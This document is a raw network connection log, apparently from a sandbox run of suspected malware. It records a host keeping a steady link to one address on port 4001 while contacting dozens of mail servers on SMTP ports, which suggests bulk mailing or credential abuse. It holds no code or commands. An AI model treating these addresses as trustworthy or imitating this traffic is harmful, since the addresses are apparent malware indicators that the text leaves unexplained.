May 19, 2024 17:27:43.450670958 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.450702906 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.450826883 CEST	49826	587	192.168.2.4	209.71.208.9
May 19, 2024 17:27:43.450875998 CEST	49866	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:43.451155901 CEST	49871	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:43.451227903 CEST	49870	587	192.168.2.4	35.214.83.212
May 19, 2024 17:27:43.451226950 CEST	49851	587	192.168.2.4	194.185.246.171
May 19, 2024 17:27:43.451607943 CEST	49749	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:43.451740026 CEST	49928	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:43.456304073 CEST	465	49927	199.59.243.225	192.168.2.4
May 19, 2024 17:27:43.456337929 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:43.456429958 CEST	49927	465	192.168.2.4	199.59.243.225
May 19, 2024 17:27:43.456459045 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.456521034 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.456521034 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.457309008 CEST	587	49802	198.164.44.72	192.168.2.4
May 19, 2024 17:27:43.458236933 CEST	49802	587	192.168.2.4	198.164.44.72
May 19, 2024 17:27:43.458332062 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.464987040 CEST	587	49820	168.0.132.203	192.168.2.4
May 19, 2024 17:27:43.465017080 CEST	587	49826	209.71.208.9	192.168.2.4
May 19, 2024 17:27:43.465044975 CEST	587	49866	64.136.52.44	192.168.2.4
May 19, 2024 17:27:43.465073109 CEST	587	49871	65.20.63.172	192.168.2.4
May 19, 2024 17:27:43.465101004 CEST	587	49870	35.214.83.212	192.168.2.4
May 19, 2024 17:27:43.465115070 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.465128899 CEST	587	49851	194.185.246.171	192.168.2.4
May 19, 2024 17:27:43.465157032 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:43.465204954 CEST	587	49928	117.50.20.113	192.168.2.4
May 19, 2024 17:27:43.465233088 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.465269089 CEST	49928	587	192.168.2.4	117.50.20.113
May 19, 2024 17:27:43.465311050 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.469763041 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.470055103 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.470092058 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.474194050 CEST	49907	587	192.168.2.4	46.227.176.12
May 19, 2024 17:27:43.474659920 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.479628086 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.489938974 CEST	49865	587	192.168.2.4	187.108.195.38
May 19, 2024 17:27:43.505603075 CEST	49820	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:43.508846045 CEST	587	49854	175.135.252.193	192.168.2.4
May 19, 2024 17:27:43.508958101 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.535751104 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.536010981 CEST	49804	587	192.168.2.4	80.91.55.62
May 19, 2024 17:27:43.546289921 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:27:43.547084093 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:27:43.547177076 CEST	49793	587	192.168.2.4	52.63.237.70
May 19, 2024 17:27:43.547393084 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.549151897 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:27:43.549190044 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:27:43.549245119 CEST	49793	587	192.168.2.4	52.63.237.70
May 19, 2024 17:27:43.549420118 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.550765038 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:27:43.552462101 CEST	49854	587	192.168.2.4	175.135.252.193
May 19, 2024 17:27:43.552561998 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.552561998 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.552679062 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:27:43.552714109 CEST	587	49793	52.63.237.70	192.168.2.4
May 19, 2024 17:27:43.552777052 CEST	49793	587	192.168.2.4	52.63.237.70
May 19, 2024 17:27:43.553364992 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.557920933 CEST	587	49804	80.91.55.62	192.168.2.4
May 19, 2024 17:27:43.557974100 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.562580109 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.562628031 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.562658072 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.562688112 CEST	587	49749	129.159.94.43	192.168.2.4
May 19, 2024 17:27:43.562977076 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.568202019 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.613267899 CEST	587	49819	91.136.8.56	192.168.2.4
May 19, 2024 17:27:43.613312006 CEST	587	49826	209.71.208.9	192.168.2.4
May 19, 2024 17:27:43.613347054 CEST	587	49920	84.116.6.22	192.168.2.4
May 19, 2024 17:27:43.613379002 CEST	587	49878	178.128.251.242	192.168.2.4
May 19, 2024 17:27:43.613409042 CEST	587	49877	90.161.91.233	192.168.2.4
May 19, 2024 17:27:43.613435984 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.613437891 CEST	587	49917	94.100.132.8	192.168.2.4
May 19, 2024 17:27:43.613476992 CEST	49877	587	192.168.2.4	90.161.91.233
May 19, 2024 17:27:43.613534927 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.613543987 CEST	49878	587	192.168.2.4	178.128.251.242
May 19, 2024 17:27:43.613567114 CEST	49878	587	192.168.2.4	178.128.251.242
May 19, 2024 17:27:43.613598108 CEST	49877	587	192.168.2.4	90.161.91.233
May 19, 2024 17:27:43.613611937 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.613611937 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.613636017 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.613652945 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.614948034 CEST	49749	587	192.168.2.4	129.159.94.43
May 19, 2024 17:27:43.622355938 CEST	587	49866	64.136.52.44	192.168.2.4
May 19, 2024 17:27:43.622469902 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.628810883 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.633871078 CEST	587	49878	178.128.251.242	192.168.2.4
May 19, 2024 17:27:43.633923054 CEST	587	49877	90.161.91.233	192.168.2.4
May 19, 2024 17:27:43.633953094 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.634036064 CEST	587	49870	35.214.83.212	192.168.2.4
May 19, 2024 17:27:43.634233952 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.639488935 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.640086889 CEST	49767	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:43.640244007 CEST	49783	587	192.168.2.4	129.213.13.252
May 19, 2024 17:27:43.640244007 CEST	49772	587	192.168.2.4	209.67.129.55
May 19, 2024 17:27:43.640292883 CEST	49873	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:43.645204067 CEST	587	49823	202.124.241.204	192.168.2.4
May 19, 2024 17:27:43.645315886 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.649970055 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:43.650078058 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.654906988 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:43.654936075 CEST	587	49772	209.67.129.55	192.168.2.4
May 19, 2024 17:27:43.654963970 CEST	587	49873	213.209.1.145	192.168.2.4
May 19, 2024 17:27:43.659795046 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.661703110 CEST	49866	587	192.168.2.4	64.136.52.44
May 19, 2024 17:27:43.661704063 CEST	49920	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:43.661705017 CEST	49819	587	192.168.2.4	91.136.8.56
May 19, 2024 17:27:43.661792994 CEST	49826	587	192.168.2.4	209.71.208.9
May 19, 2024 17:27:43.661807060 CEST	49917	587	192.168.2.4	94.100.132.8
May 19, 2024 17:27:43.677423954 CEST	49870	587	192.168.2.4	35.214.83.212
May 19, 2024 17:27:43.680330038 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.680417061 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.684940100 CEST	587	49851	194.185.246.171	192.168.2.4
May 19, 2024 17:27:43.685024023 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.690325022 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.693224907 CEST	49823	587	192.168.2.4	202.124.241.204
May 19, 2024 17:27:43.715512991 CEST	587	49925	62.149.128.203	192.168.2.4
May 19, 2024 17:27:43.715899944 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.734249115 CEST	49929	587	192.168.2.4	209.17.116.10
May 19, 2024 17:27:43.738699913 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.739799976 CEST	49851	587	192.168.2.4	194.185.246.171
May 19, 2024 17:27:43.743758917 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.744230986 CEST	49879	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:43.744842052 CEST	49930	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:43.745126009 CEST	49931	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:43.748929977 CEST	587	49929	209.17.116.10	192.168.2.4
May 19, 2024 17:27:43.749084949 CEST	49929	587	192.168.2.4	209.17.116.10
May 19, 2024 17:27:43.749135017 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.753817081 CEST	587	49879	213.209.1.145	192.168.2.4
May 19, 2024 17:27:43.758914948 CEST	587	49930	84.116.6.22	192.168.2.4
May 19, 2024 17:27:43.758969069 CEST	587	49931	84.2.43.67	192.168.2.4
May 19, 2024 17:27:43.759038925 CEST	49930	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:43.759157896 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.759157896 CEST	49931	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:43.759157896 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.759799957 CEST	587	49804	80.91.55.62	192.168.2.4
May 19, 2024 17:27:43.759933949 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.759933949 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.764254093 CEST	587	49804	80.91.55.62	192.168.2.4
May 19, 2024 17:27:43.764400005 CEST	49804	587	192.168.2.4	80.91.55.62
May 19, 2024 17:27:43.764519930 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.764616013 CEST	49932	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:43.769195080 CEST	587	49783	129.213.13.252	192.168.2.4
May 19, 2024 17:27:43.769243002 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.769423008 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.771080971 CEST	49925	587	192.168.2.4	62.149.128.203
May 19, 2024 17:27:43.774108887 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.779166937 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.779225111 CEST	587	49932	194.19.134.66	192.168.2.4
May 19, 2024 17:27:43.779346943 CEST	49932	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:43.779542923 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.789448023 CEST	587	49912	91.196.0.18	192.168.2.4
May 19, 2024 17:27:43.789616108 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.794585943 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.817001104 CEST	587	49772	209.67.129.55	192.168.2.4
May 19, 2024 17:27:43.817145109 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.817948103 CEST	49783	587	192.168.2.4	129.213.13.252
May 19, 2024 17:27:43.822256088 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.833704948 CEST	49912	587	192.168.2.4	91.196.0.18
May 19, 2024 17:27:43.851156950 CEST	587	49767	62.149.128.200	192.168.2.4
May 19, 2024 17:27:43.851350069 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.855787992 CEST	587	49873	213.209.1.145	192.168.2.4
May 19, 2024 17:27:43.855819941 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.855875969 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.864742041 CEST	49762	587	192.168.2.4	13.248.169.48
May 19, 2024 17:27:43.864777088 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.864814043 CEST	49772	587	192.168.2.4	209.67.129.55
May 19, 2024 17:27:43.883150101 CEST	49933	587	192.168.2.4	64.91.253.60
May 19, 2024 17:27:43.887303114 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.892031908 CEST	587	49762	13.248.169.48	192.168.2.4
May 19, 2024 17:27:43.892093897 CEST	49762	587	192.168.2.4	13.248.169.48
May 19, 2024 17:27:43.896060944 CEST	49767	587	192.168.2.4	62.149.128.200
May 19, 2024 17:27:43.896243095 CEST	49873	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:43.897064924 CEST	587	49933	64.91.253.60	192.168.2.4
May 19, 2024 17:27:43.897135973 CEST	49933	587	192.168.2.4	64.91.253.60
May 19, 2024 17:27:43.897169113 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.902093887 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.902122974 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.950381041 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.997176886 CEST	587	49879	213.209.1.145	192.168.2.4
May 19, 2024 17:27:43.997221947 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.997252941 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:43.997287035 CEST	587	49891	193.201.172.98	192.168.2.4
May 19, 2024 17:27:43.997296095 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.997381926 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.997381926 CEST	49777	587	192.168.2.4	194.126.4.84
May 19, 2024 17:27:43.997421026 CEST	49891	587	192.168.2.4	193.201.172.98
May 19, 2024 17:27:43.997479916 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:43.997486115 CEST	49891	587	192.168.2.4	193.201.172.98
May 19, 2024 17:27:43.997510910 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:43.997560978 CEST	49811	587	192.168.2.4	72.18.132.28
May 19, 2024 17:27:43.997910976 CEST	49822	587	192.168.2.4	162.214.54.15
May 19, 2024 17:27:43.998672962 CEST	49934	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:44.002170086 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.002198935 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.005939007 CEST	49777	587	192.168.2.4	194.126.4.84
May 19, 2024 17:27:44.006047964 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.006396055 CEST	49766	587	192.168.2.4	68.178.252.117
May 19, 2024 17:27:44.006417036 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.007560015 CEST	587	49777	194.126.4.84	192.168.2.4
May 19, 2024 17:27:44.037898064 CEST	49879	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:44.057117939 CEST	587	49891	193.201.172.98	192.168.2.4
May 19, 2024 17:27:44.057171106 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:27:44.057200909 CEST	587	49811	72.18.132.28	192.168.2.4
May 19, 2024 17:27:44.057229996 CEST	587	49822	162.214.54.15	192.168.2.4
May 19, 2024 17:27:44.057271004 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.057303905 CEST	587	49934	65.20.63.172	192.168.2.4
May 19, 2024 17:27:44.057334900 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.057363987 CEST	587	49777	194.126.4.84	192.168.2.4
May 19, 2024 17:27:44.057369947 CEST	49934	587	192.168.2.4	65.20.63.172
May 19, 2024 17:27:44.057394028 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.057425022 CEST	587	49766	68.178.252.117	192.168.2.4
May 19, 2024 17:27:44.057449102 CEST	49777	587	192.168.2.4	194.126.4.84
May 19, 2024 17:27:44.057452917 CEST	587	49896	142.93.237.125	192.168.2.4
May 19, 2024 17:27:44.057477951 CEST	49766	587	192.168.2.4	68.178.252.117
May 19, 2024 17:27:44.057488918 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.057513952 CEST	49896	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:44.057569981 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.057610035 CEST	49896	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:44.057646990 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.057651997 CEST	49828	587	192.168.2.4	46.255.231.70
May 19, 2024 17:27:44.057893038 CEST	49763	587	192.168.2.4	213.153.32.148
May 19, 2024 17:27:44.058211088 CEST	49935	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:44.058383942 CEST	49936	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:44.068706036 CEST	49768	465	192.168.2.4	80.88.87.236
May 19, 2024 17:27:44.068747044 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.110213995 CEST	587	49836	193.122.179.25	192.168.2.4
May 19, 2024 17:27:44.110332012 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.115717888 CEST	587	49896	142.93.237.125	192.168.2.4
May 19, 2024 17:27:44.115736961 CEST	587	49828	46.255.231.70	192.168.2.4
May 19, 2024 17:27:44.115777016 CEST	587	49763	213.153.32.148	192.168.2.4
May 19, 2024 17:27:44.115793943 CEST	587	49935	213.209.1.145	192.168.2.4
May 19, 2024 17:27:44.115809917 CEST	587	49936	120.50.131.112	192.168.2.4
May 19, 2024 17:27:44.115823984 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.115839005 CEST	465	49768	80.88.87.236	192.168.2.4
May 19, 2024 17:27:44.115927935 CEST	49935	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:44.115962029 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.115962029 CEST	49936	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:44.115962029 CEST	49768	465	192.168.2.4	80.88.87.236
May 19, 2024 17:27:44.116055012 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.124569893 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.124603987 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.129226923 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.133912086 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.138808012 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.157820940 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.158466101 CEST	49888	587	192.168.2.4	34.160.63.108
May 19, 2024 17:27:44.158791065 CEST	49887	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:44.158791065 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:27:44.159116030 CEST	49937	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:44.159132957 CEST	49795	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:44.159137964 CEST	49938	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:44.159261942 CEST	587	49811	72.18.132.28	192.168.2.4
May 19, 2024 17:27:44.159544945 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.159544945 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.161714077 CEST	49836	587	192.168.2.4	193.122.179.25
May 19, 2024 17:27:44.162682056 CEST	587	49811	72.18.132.28	192.168.2.4
May 19, 2024 17:27:44.162719965 CEST	587	49811	72.18.132.28	192.168.2.4
May 19, 2024 17:27:44.162759066 CEST	49811	587	192.168.2.4	72.18.132.28
May 19, 2024 17:27:44.162931919 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.168006897 CEST	587	49888	34.160.63.108	192.168.2.4
May 19, 2024 17:27:44.168037891 CEST	587	49887	213.209.1.145	192.168.2.4
May 19, 2024 17:27:44.168067932 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:27:44.168122053 CEST	587	49937	120.50.131.112	192.168.2.4
May 19, 2024 17:27:44.168155909 CEST	587	49795	213.209.1.145	192.168.2.4
May 19, 2024 17:27:44.168185949 CEST	587	49938	194.153.145.104	192.168.2.4
May 19, 2024 17:27:44.168206930 CEST	49937	587	192.168.2.4	120.50.131.112
May 19, 2024 17:27:44.168251991 CEST	49938	587	192.168.2.4	194.153.145.104
May 19, 2024 17:27:44.168428898 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.168428898 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.208688021 CEST	49811	587	192.168.2.4	72.18.132.28
May 19, 2024 17:27:44.214345932 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.214390039 CEST	587	49822	162.214.54.15	192.168.2.4
May 19, 2024 17:27:44.214418888 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.214600086 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.219297886 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.255693913 CEST	49822	587	192.168.2.4	162.214.54.15
May 19, 2024 17:27:44.269300938 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.269340992 CEST	587	49811	72.18.132.28	192.168.2.4
May 19, 2024 17:27:44.269603968 CEST	49832	587	192.168.2.4	64.59.136.142
May 19, 2024 17:27:44.269643068 CEST	49752	587	192.168.2.4	168.0.132.203
May 19, 2024 17:27:44.269644022 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.270214081 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.270214081 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.270338058 CEST	49939	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:44.276818991 CEST	587	49832	64.59.136.142	192.168.2.4
May 19, 2024 17:27:44.318000078 CEST	49811	587	192.168.2.4	72.18.132.28
May 19, 2024 17:27:44.324219942 CEST	587	49752	168.0.132.203	192.168.2.4
May 19, 2024 17:27:44.324234962 CEST	587	49939	142.93.237.125	192.168.2.4
May 19, 2024 17:27:44.324243069 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.324250937 CEST	587	49888	34.160.63.108	192.168.2.4
May 19, 2024 17:27:44.324269056 CEST	587	49901	103.224.30.254	192.168.2.4
May 19, 2024 17:27:44.324278116 CEST	587	49828	46.255.231.70	192.168.2.4
May 19, 2024 17:27:44.324286938 CEST	587	49763	213.153.32.148	192.168.2.4
May 19, 2024 17:27:44.324325085 CEST	49939	587	192.168.2.4	142.93.237.125
May 19, 2024 17:27:44.324412107 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.324450016 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.324450016 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.324482918 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.324523926 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.324827909 CEST	49940	587	192.168.2.4	157.7.144.20
May 19, 2024 17:27:44.362591982 CEST	587	49863	46.182.21.2	192.168.2.4
May 19, 2024 17:27:44.364836931 CEST	49828	587	192.168.2.4	46.255.231.70
May 19, 2024 17:27:44.364957094 CEST	49888	587	192.168.2.4	34.160.63.108
May 19, 2024 17:27:44.364955902 CEST	49901	587	192.168.2.4	103.224.30.254
May 19, 2024 17:27:44.365108967 CEST	49763	587	192.168.2.4	213.153.32.148
May 19, 2024 17:27:44.365125895 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.367613077 CEST	587	49940	157.7.144.20	192.168.2.4
May 19, 2024 17:27:44.368341923 CEST	49940	587	192.168.2.4	157.7.144.20
May 19, 2024 17:27:44.368422985 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.372282982 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.372315884 CEST	587	49887	213.209.1.145	192.168.2.4
May 19, 2024 17:27:44.372348070 CEST	587	49795	213.209.1.145	192.168.2.4
May 19, 2024 17:27:44.372378111 CEST	587	49930	84.116.6.22	192.168.2.4
May 19, 2024 17:27:44.372404099 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.372450113 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.372476101 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.377036095 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.378413916 CEST	49864	587	192.168.2.4	84.2.43.67
May 19, 2024 17:27:44.378509045 CEST	49882	587	192.168.2.4	195.121.65.26
May 19, 2024 17:27:44.378547907 CEST	49754	587	192.168.2.4	52.223.4.149
May 19, 2024 17:27:44.378793955 CEST	49837	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:44.380454063 CEST	49817	587	192.168.2.4	195.130.132.10
May 19, 2024 17:27:44.380516052 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.381911039 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.387237072 CEST	587	49864	84.2.43.67	192.168.2.4
May 19, 2024 17:27:44.411720991 CEST	49863	587	192.168.2.4	46.182.21.2
May 19, 2024 17:27:44.411720991 CEST	49887	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:44.411729097 CEST	49795	587	192.168.2.4	213.209.1.145
May 19, 2024 17:27:44.411837101 CEST	49930	587	192.168.2.4	84.116.6.22
May 19, 2024 17:27:44.417097092 CEST	587	49882	195.121.65.26	192.168.2.4
May 19, 2024 17:27:44.417149067 CEST	587	49754	52.223.4.149	192.168.2.4
May 19, 2024 17:27:44.417179108 CEST	587	49837	213.209.1.145	192.168.2.4
May 19, 2024 17:27:44.417210102 CEST	587	49817	195.130.132.10	192.168.2.4
May 19, 2024 17:27:44.417239904 CEST	587	49883	103.152.248.23	192.168.2.4
May 19, 2024 17:27:44.417269945 CEST	587	49932	194.19.134.66	192.168.2.4
May 19, 2024 17:27:44.417269945 CEST	49817	587	192.168.2.4	195.130.132.10
May 19, 2024 17:27:44.417346001 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.417388916 CEST	49734	4001	192.168.2.4	212.162.153.199
May 19, 2024 17:27:44.430463076 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.435427904 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.458607912 CEST	49932	587	192.168.2.4	194.19.134.66
May 19, 2024 17:27:44.458619118 CEST	49883	587	192.168.2.4	103.152.248.23
May 19, 2024 17:27:44.463689089 CEST	4001	49734	212.162.153.199	192.168.2.4
May 19, 2024 17:27:44.468414068 CEST	4001	49734	212.162.153.199	192.168.2.4
